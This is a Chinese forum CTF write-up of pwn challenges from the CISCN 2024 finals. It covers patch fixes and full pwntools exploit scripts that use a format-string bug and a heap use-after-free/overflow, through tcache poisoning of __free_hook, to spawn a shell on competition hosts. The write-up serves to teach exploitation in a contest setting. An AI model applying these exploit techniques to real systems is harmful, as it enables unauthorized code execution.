首页
社区
课程
招聘
[原创] 第十七届CISCN总决赛-AWDP-PWN部分题解
发表于: 2024-7-23 14:51 7501

[原创] 第十七届CISCN总决赛-AWDP-PWN部分题解

2024-7-23 14:51
7501

本次决赛AWDP 共 4道 pwn题, 整体除了 PHP看不懂,其他的都能 fix 和 break ,比赛时间还是挺久的,但是做着做着就时间就所剩无几了,最后CHR 也没能break(自己太垃圾了)

图片描述

awdp 第13名,最终总排名 32 名 无缘一等奖,和前面的队伍就差几分,如果再开个渗透题也就一了,奈何我太菜了呜呜呜爆0了,靠队友带飞

图片描述

fix 比较简单,非stack 上格式化字符串漏洞

call _printf 改从 call _puts 既可

图片描述

漏洞利用并不难,此题我在libc 的替换上话花了太多时间

先来说一下比赛中遇到的一下坑点

一般做格式化字符串漏洞的题目时,我一般会把给的附件 patch成题目指定的glibc 版本

附件给的时 pwn libc.so.6 libcrypto.so.1.1 glibc 2.31, 我本地没有 ubutnu 20,只能通过替换成 glibcallinone

图片描述

图片描述

图片描述

图片描述

我是傻逼

漏洞点再 rm() 函数里

图片描述

free 堆块后,并没有清空指向堆块的指针,导致UAF漏洞。

图片描述

图片描述

图片描述

图片描述

图片描述

图片描述

图片描述

图片描述

图片描述

被自己蠢哭,前期堆块分配的风水不是很好,导致后面改完tcachebins 后 ,没有机会继续申请了。只能重新写了一份exp, 又浪费了宝贵时间,导致最后几轮才成功Break(不然早就 Break了),我怎么这么垃圾。。

已知UAF漏洞.

经过分析还存在 堆溢出漏洞, edit 时 可以重新定义写入大小导致堆溢出漏洞

glibc2.31

add 时 size 的大小再 0x10-0x400,free后不会进入unsortedbin。

而且有堆块数量限制,不能通过填满 tcachebins 让堆块进入unsortedbin。

利用堆溢出修改 堆块的 size, free 后进入 unsortedbin,从而泄露 libc 地址

后面就控制tcachebins,任意地址申请到 __free_hook 既可

限制大小

图片描述

比赛好几个小时,理论上三题fix和break都可以做出来的,比赛的时候时间还是比较紧的,失误一点都会浪费好多时间,后面就剩两三轮了,也就不想做了呜呜呜

Break 后 也就指定漏洞点了,Fix 肯定也就比较容易了

恰好我本地也是 ubuntu 24 glibc 2.39,我就单纯打个本地吧

图片描述

图片描述

图片描述

图片描述

图片描述

图片描述

图片描述

图片描述

图片描述

整体下来,题目还是比较简单的。出了 那个 PHP的我看不懂..

#!/bin/sh
mv pwn_fix /home/ctf/pwn
chmod 777 /home/ctf/pwn
#!/bin/sh
mv pwn_fix /home/ctf/pwn
chmod 777 /home/ctf/pwn
tar zcvf update.tar.gz update.sh pwn_fix
tar zcvf update.tar.gz update.sh pwn_fix
from pwn import *
import sys
 
from Crypto.Cipher import AES
 
s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(str(delim), data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(str(delim), data)
r       = lambda num                :io.recv(num)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
rl      = lambda                    :io.recvline()
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
ls      = lambda data               :log.success(data)
lss     = lambda s                  :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
 
context.arch      = 'amd64'
#context.log_level = 'debug'
context.terminal  = ['tmux','splitw','-h','-l','130']
def start(binary,argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([binary] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.RE:
        return remote('123.57.149.79',37175)
    elif args.AWD:
        # python3 exp.py AWD 1.1.1.1 PORT
        IP = str(sys.argv[1])
        PORT = int(sys.argv[2])
        return remote(IP,PORT)
    else:
        return process([binary] + argv, *a, **kw)
 
 
binary = './pwn'
libelf = ''
 
if (binary!=''): elf  = ELF(binary) ; rop=ROP(binary);libc = elf.libc
if (libelf!=''): libc = ELF(libelf)
 
gdbscript = '''
brva 0x15CB
brva 0x00015FF
#continue
'''.format(**locals())
 
 
 
 
def _pad(bStr:bytes):
    blen=len(bStr)
    add=16-(blen%16)
    buffer=bStr+add*chr(0).encode()
    return buffer
 
key = bytes.fromhex('7BF35CD69C475D5E6F1D7A23187BF934')
def sendpay(pay):
    ru('anime: ')
    pay = _pad(pay)
    aes = AES.new(key,AES.MODE_ECB) # ECB
    cr_text = aes.encrypt(pay)
    s(cr_text)
    ru('your like ')
   
 
 
 
io = start(binary)
 
ru('name\n')
pay = '/bin/sh;'
s(pay)
ru('/bin/sh;')
elf_base = uu64(r(6)) - 0x11e0
 
lss('elf_base')
#
 
pay = f"%{6+6}$p"
pay = pay.encode()
 
sendpay(pay)
 
stack = int(ru('!'),16)
lss('stack')
 
count = stack - 284
lss('count')
 
pay = f"%{count & 0xFFFF}c%{6+0xb}$hn"
pay = pay.encode()
sendpay(pay)
 
 
pay = f"%19c%{6+0x27}$hn"
pay = pay.encode()
sendpay(pay)
 
 
#09:0048│     0x7ffe087b05e8 —▸ 0x7d1810232083 (__libc_start_main+243) ◂— mov edi, eax
pay = f"%{6+9}$p"
pay = pay.encode()
sendpay(pay)
libc_base = int(ru('!'),16) - libc.sym['__libc_start_main'] - 243
lss('libc_base')
 
libc.address = libc_base
 
rdi = next(libc.search(asm('pop rdi;ret')))
binsh = 0x1234
system = libc.sym['system']
 
 
ogg = 0xe3b01
rop = p64(libc_base + ogg) #+ p64(rdi) + p64(binsh) + p64(system)
 
stack_ret = stack - 232
 
 
for i in range(len(rop)):
    pay = f"%{(stack_ret + i) & 0xFFFF}c%{6+0xb}$hn\x00"
    pay = pay.encode()
    sendpay(pay)
   
    pd = rop[i]
    if(pd==0):
        pay = f"%{6+0x27}$hhn\x00"
    else:
        pay = f"%{pd}c%{6+0x27}$hhn\x00"
 
    pay = pay.encode()
    sendpay(pay)
 
 
#gdb.attach(io,gdbscript)
 
pay = f"A\x00"
pay = pay.encode()
sendpay(pay)
 
   
itr()
from pwn import *
import sys
 
from Crypto.Cipher import AES
 
s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(str(delim), data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(str(delim), data)
r       = lambda num                :io.recv(num)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
rl      = lambda                    :io.recvline()
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
ls      = lambda data               :log.success(data)
lss     = lambda s                  :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
 
context.arch      = 'amd64'
#context.log_level = 'debug'
context.terminal  = ['tmux','splitw','-h','-l','130']
def start(binary,argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([binary] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.RE:
        return remote('123.57.149.79',37175)
    elif args.AWD:
        # python3 exp.py AWD 1.1.1.1 PORT
        IP = str(sys.argv[1])
        PORT = int(sys.argv[2])
        return remote(IP,PORT)
    else:
        return process([binary] + argv, *a, **kw)
 
 
binary = './pwn'
libelf = ''
 
if (binary!=''): elf  = ELF(binary) ; rop=ROP(binary);libc = elf.libc
if (libelf!=''): libc = ELF(libelf)
 
gdbscript = '''
brva 0x15CB
brva 0x00015FF
#continue
'''.format(**locals())
 
 
 
 
def _pad(bStr:bytes):
    blen=len(bStr)
    add=16-(blen%16)
    buffer=bStr+add*chr(0).encode()
    return buffer
 
key = bytes.fromhex('7BF35CD69C475D5E6F1D7A23187BF934')
def sendpay(pay):
    ru('anime: ')
    pay = _pad(pay)
    aes = AES.new(key,AES.MODE_ECB) # ECB
    cr_text = aes.encrypt(pay)
    s(cr_text)
    ru('your like ')
   
 
 
 
io = start(binary)
 
ru('name\n')
pay = '/bin/sh;'
s(pay)
ru('/bin/sh;')
elf_base = uu64(r(6)) - 0x11e0
 
lss('elf_base')
#
 
pay = f"%{6+6}$p"
pay = pay.encode()
 
sendpay(pay)
 
stack = int(ru('!'),16)
lss('stack')
 
count = stack - 284
lss('count')
 
pay = f"%{count & 0xFFFF}c%{6+0xb}$hn"
pay = pay.encode()
sendpay(pay)
 
 
pay = f"%19c%{6+0x27}$hn"
pay = pay.encode()
sendpay(pay)
 
 
#09:0048│     0x7ffe087b05e8 —▸ 0x7d1810232083 (__libc_start_main+243) ◂— mov edi, eax
pay = f"%{6+9}$p"
pay = pay.encode()
sendpay(pay)
libc_base = int(ru('!'),16) - libc.sym['__libc_start_main'] - 243
lss('libc_base')
 
libc.address = libc_base
 
rdi = next(libc.search(asm('pop rdi;ret')))
binsh = 0x1234
system = libc.sym['system']
 
 
ogg = 0xe3b01
rop = p64(libc_base + ogg) #+ p64(rdi) + p64(binsh) + p64(system)
 
stack_ret = stack - 232
 
 
for i in range(len(rop)):
    pay = f"%{(stack_ret + i) & 0xFFFF}c%{6+0xb}$hn\x00"
    pay = pay.encode()
    sendpay(pay)
   
    pd = rop[i]
    if(pd==0):
        pay = f"%{6+0x27}$hhn\x00"
    else:
        pay = f"%{pd}c%{6+0x27}$hhn\x00"
 
    pay = pay.encode()
    sendpay(pay)
 
 
#gdb.attach(io,gdbscript)
 
pay = f"A\x00"
pay = pay.encode()
sendpay(pay)
 
   
itr()
mov rax, qword ptr [rbp_var_4]  ; 取idx
shl eax, 3                      ; idx 乘以 8
lea rdx, qword ptr [0xA080]     ; 取 heap_list 的地址
add rdx, rax                    ; 计算索引的地址
push rdx                        ; 将堆指针 压到stack 上
mov rdi,[rdx]                   ; 取heap地址
call _free                      ; free heap ;ret 后 rdi 寄存器是空的
pop rdx                         ; 取出指向heap的指针
mov [rdx], rdi                  ; 清空指针的内容
mov rax, qword ptr [rbp_var_4]  ; 取idx
shl eax, 3                      ; idx 乘以 8
lea rdx, qword ptr [0xA080]     ; 取 heap_list 的地址
add rdx, rax                    ; 计算索引的地址
push rdx                        ; 将堆指针 压到stack 上
mov rdi,[rdx]                   ; 取heap地址
call _free                      ; free heap ;ret 后 rdi 寄存器是空的
pop rdx                         ; 取出指向heap的指针
mov [rdx], rdi                  ; 清空指针的内容
from pwn import *
 
s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(str(delim), data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(str(delim), data)
r       = lambda num                :io.recv(num)
rl      = lambda                    :io.recvline()
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
ls      = lambda data               :log.success(data)
lss     = lambda s                  :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
 
context.arch      = 'amd64'
context.log_level = 'debug'
context.terminal  = ['tmux','splitw','-h','-l','130']
def start(binary,argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([binary] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.RE:
        return remote('39.106.48.123',30155)
    else:
        return process([binary] + argv, *a, **kw)
 
 
binary = './pwn'
libelf = ''
 
if (binary!=''): elf  = ELF(binary) ; rop=ROP(binary);libc = elf.libc
if (libelf!=''): libc = ELF(libelf)
 
gdbscript = '''
#brva 0x1917
#brva 0x17A3
brva 0x0156C
#continue
'''.format(**locals())
 
io = start(binary)
 
 
 
def add(idx=0,l=0,meg='A'):
    ru('Please input:')
    json = '{' + f'''
        "choice":"new",
        "index": {idx},
        "length": {l},
        "message":"{meg}"
    ''' + '}'
    json = json.replace('\n','').replace(' ','')
    sl(json)
 
def rm(idx=0,l=0,meg='A'):
    ru('Please input:')
    json = '{' + f'''
        "choice":"rm",
        "index": {idx},
        "length": {l},
        "message":"{meg}"
    ''' + '}'
    json = json.replace('\n','').replace(' ','')
    sl(json)
 
def show(idx=0,l=0,meg='A'):
    ru('Please input:')
    json = '{' + f'''
        "choice":"view",
        "index": {idx},
        "length": {l},
        "message":"{meg}"
    ''' + '}'
    json = json.replace('\n','').replace(' ','')
    sl(json)
 
def edit(idx=0,l=0,meg='A'):
    ru('Please input:')
    json = '{' + f'''
        "choice":"modify",
        "index": {idx},
        "length": {l},
        "message":"{meg.decode()}"
    ''' + '}'
    json = json.replace('\n','').replace(' ','')
    sl(json)
 
 
 
add(0,0x78,"I"*0x28)
add(1,0x3f8,"A"*0x28)
add(2,0x78,"I"*0x28)
add(3,0x78,"I"*0x28)
 
edit(0,736+0xa,b'Y'*(736+8)+p16(0x401+0x50*5+0x20*5))
 
rm(1)
 
add(4,16,'')
edit(4,1,b"C")
show(4)
ru('message:')
libc_base = uu64(r(6)) - 2018115
lss('libc_base')
 
rm(2)
rm(3)
 
ru('Please input:')
json = b'{"choice":"modify","index":3, "length": 9, "message":"'+p64(libc_base + libc.sym['__free_hook'])[:6]+b'"}'
json = json.replace(b' ',b'')
print(json)
sl(json)
 
 
 
add(5,0x78,'/bin/sh;')
 
ru('Please input:')
json = b'{"choice":"new","index":6, "length": 120, "message":"'+p64(libc_base + libc.sym['system'])[:6]+b'"}'
json = json.replace(b' ',b'')
print(json)
sl(json)
 
#gdb.attach(io,gdbscript)
rm(5)
 
 
 
 
io.interactive()
from pwn import *
 
s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(str(delim), data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(str(delim), data)
r       = lambda num                :io.recv(num)
rl      = lambda                    :io.recvline()
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
ls      = lambda data               :log.success(data)
lss     = lambda s                  :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
 
context.arch      = 'amd64'
context.log_level = 'debug'
context.terminal  = ['tmux','splitw','-h','-l','130']
def start(binary,argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([binary] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.RE:
        return remote('39.106.48.123',30155)
    else:
        return process([binary] + argv, *a, **kw)
 
 
binary = './pwn'
libelf = ''
 
if (binary!=''): elf  = ELF(binary) ; rop=ROP(binary);libc = elf.libc
if (libelf!=''): libc = ELF(libelf)
 
gdbscript = '''
#brva 0x1917
#brva 0x17A3
brva 0x0156C
#continue
'''.format(**locals())
 
io = start(binary)
 
 
 
def add(idx=0,l=0,meg='A'):
    ru('Please input:')
    json = '{' + f'''
        "choice":"new",
        "index": {idx},
        "length": {l},
        "message":"{meg}"
    ''' + '}'
    json = json.replace('\n','').replace(' ','')
    sl(json)
 
def rm(idx=0,l=0,meg='A'):
    ru('Please input:')
    json = '{' + f'''
        "choice":"rm",
        "index": {idx},
        "length": {l},
        "message":"{meg}"
    ''' + '}'
    json = json.replace('\n','').replace(' ','')
    sl(json)
 
def show(idx=0,l=0,meg='A'):
    ru('Please input:')
    json = '{' + f'''
        "choice":"view",
        "index": {idx},
        "length": {l},
        "message":"{meg}"
    ''' + '}'
    json = json.replace('\n','').replace(' ','')
    sl(json)
 
def edit(idx=0,l=0,meg='A'):
    ru('Please input:')
    json = '{' + f'''
        "choice":"modify",
        "index": {idx},
        "length": {l},
        "message":"{meg.decode()}"
    ''' + '}'
    json = json.replace('\n','').replace(' ','')
    sl(json)
 
 
 
add(0,0x78,"I"*0x28)
add(1,0x3f8,"A"*0x28)
add(2,0x78,"I"*0x28)

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 2
支持
分享
最新回复 (2)
雪    币: 422
活跃值: (280)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
2
错别字挺多,笑死了
2024-7-23 15:14
0
雪    币: 406
活跃值: (296)
能力值: ( LV3,RANK:33 )
在线值:
发帖
回帖
粉丝
3
hhh师傅好像就在我们隔壁
2024-7-24 16:43
0
游客
登录 | 注册 方可回帖
返回
//